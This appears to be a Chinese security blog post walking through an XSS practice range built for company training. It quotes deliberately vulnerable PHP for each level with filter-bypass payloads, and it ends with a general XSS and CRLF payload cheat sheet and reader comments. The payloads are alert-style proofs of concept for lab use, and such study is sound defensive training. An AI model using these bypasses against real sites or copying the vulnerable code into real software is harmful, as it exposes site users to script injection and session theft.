近期为了公司培训,准备了一套在线靶场平台。在归类XSS,设计题目的时候找到了一套XSS的源码,自己也跟着做了下,感觉挺好,在此记录下。
首先我说下我自己看XSS的思路:
1、先找输入点
2、再找输出点
3、根据输出点位置、格式、显示不断重新尝试payload
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
可以看到无任何限制,payload:123456"><script>alert(document.domain)</script?>。也可以用其他事件onload,onclick,onerror,prompt,confirm等。
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
这是比较典型的搜索框XSS,输出点已经被HTML实体编码了,使用了htmlspecialchars函数。我们可以用事件来弹框。payload:
123456' onfocus=alert(document.domain) autofocus;//
123456' oninput=alert`document.domain` //
123456' onchange=alert`document.domain` //。
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
和上面一样过滤了 < 和 >,只是是使用的str_replace函数,用 " 闭合value标签。注意:str_replace函数是区分大小写的,str_ireplace函数不区分大小写,所以有时候我们还可以利用大小写绕过。payload:
123456" onfocus=alert(document.domain) autofocus;//
123456" oninput=alert`document.domain`//
data:text/html;base64,MTIzNDU2IiBvbmZvY3VzPWFsZXJ0KGRvY3VtZW50LmRvbWFpbikgYXV0b2ZvY3VzOy8v
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
会把script替换为scr_ipt,on替换为o_n,所以没办法使用on事件了。可以尝试使用伪协议payload:
123456"><iframe src=javascript:alert(document.domain)>
123456"> <a href=javascript:alert(document.domain) >XSS</a>
123456"> <a href="javascript:%61lert(1)">XSS</a> //。
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
str_replace函数是区分大小写的,测试的主要是大小写问题,可以用大小写绕过。payload:
123456"> <Script>alert(document.domain)</script> //
123456"> <img Src=x OnError=alert(document.domain)> //
123456"><a+hrEf="javascript:alert(document.domain)">XSS</a>//
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
只要检测到on,href,src,script等关键字,会直接过滤成空,故采用经典的scrSCRIPTipt方式绕过过滤,故payload如下:
123456" oonninput=alert(document.domain) "
123456"> <scscriptript>alert`document.domain`</scscriptript> //
123456"><a/hrhrefef="javascriscriptpt:alert(document.domain)">
123456"><img/sRsrcc=1 oneronerrorror=alert(document.domain)>
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level7.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
没有过滤:' > < % & #,过滤了:" src on script data。输出点在a标签内,href属性中,属性中双引号被转换成HTML实体,无法截断属性,很明显,我们想到了协议绕过javascript:alert,由于script关键字被过滤,伪协议后面可以使用URL编码等进行编码。payload:
javascript:alert(document.domain)
javascript:%61lert(document.domain)
javascript:alert`document.domain`
javascript:alert`document.domain`
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}
else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}
?>
和上一题一样,只不过多了一个自动检测url,如果发现没有带http:// 内容则会显示不合法,payload:
javascript:alert(1)//http://xxx.com //利用注释
javascript:%0dhttp://xxx.com%0dalert(1) //不利用注释
javascript:%0ahttp://xxx.com%0daalert(1) //不利用注释
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
这一题提示我们要常看源代码,可能隐藏的参数就是可利用的。payload:
123456" onmouseover=alert(document.domain) type="text"
123456" type="text" onclick="alert(document.domain)
123456" type="text" onmouseover=alert`document.domain`
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
和上面一题一样,根据网页隐藏的字段,联想到HTTP头。后面三关考察HTTP头部的XSS注入,开始抓包,burp修改对应字段即可。
Referer: 123456" onmouseover=alert(document.domain) type="text"
User-Agent: 123456" onmouseover=alert(document.domain) type="text"
Cookie: 123456" onmouseover=alert(document.domain) type="text"
此题考察EXIF XSS。学到了[嘿哈],上传一个含有xss代码的图片触发xss。传送门: wooyun exif xss
漏洞原理是通过修改图片的exif信息,造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
过滤空格,/等连接符,使用%0d ,%0a等绕过。payload:
<img%0Dsrc=1%0Donerror=alert(document.domain)>
<iframe%0asrc=x%0donmouseover=alert`document.domain`></iframe>
<svg%0aonload=alert`document.domain`></svg>
刚开始我以为是Flash XSS,仔细一看发现不是。
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])
使用了htmlspecialchars进行实体编码,和第三关就一样了,使用on事件。payload:
arg01=123&arg02= onmouseover=alert(document.domain)
arg01=123&arg02=%20onmousedown=alert`document.domain`
arg01=123&arg02= onmouseover=alert(document.domain) type="text"
后面Flash XSS,我也不懂,就没看了。
【本文由 安全脉搏编辑w2n1ck 编写,转载请注明“转自安全脉搏”,并附上链接: https://www.secpulse.com/archives/59497.html】
<ScRIpT>alert('123')</sCRIpT>
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
闭合标签
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
标签绕过
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$('body').prepend(123);$('body')></video>
%0a 替换空格
%0d 替换空格
/**/ 替换空格
%00 截断
`` 替换括号
<img ononerrorerror="123">
<script>alalertert(123)</script>
onload
onclick
onerror
prompt
confirm
onmousemove
CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>
【本文由 安全脉搏编辑w2n1ck 编写,转载请注明“转自安全脉搏”,并附上链接: https://www.secpulse.com/archives/59497.html】
本文作者:瓦都剋
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/59497.html
链接挂了
@aaaaaa @w2n1ck “啊哦,来晚了,该分享文件已过期”
@aaaaaa 亲,不好意思哦 http://pan.baidu.com/s/1pLxAkZL
学习了。
支持b牛。
@Geroge Lee 么么哒
@Geroge Lee 支持牛b。
大佬,那个你发的第9关具体是怎么过啊,后面还有个type=”hidden” 怎么办,能具体指导下嘛[em_51],谢谢。我卡在这儿动不了啦
@unfraid-fearless 前端虽然显示是hidden,但是后端是接收这个参数的呀,所以post这个hidden参数即可
@瓦都剋 可是我用burpsuite试过了,修改post提交的参数感觉还是不行啊
@瓦都剋 <input name=”t_sort” value=”123″ type=”text” onclick=”alert(1)” type=”hidden”>
这个我在URL上输入的时候,value闭合了,还是不行
@unfraid-fearless 应该是源码有问题,input标签取得是关键字t_sort的值,GET接受的数据只有keyword,t_sort都不知道从哪来的[img=uploads/comments/2018/07/10/20180710102516_735.png]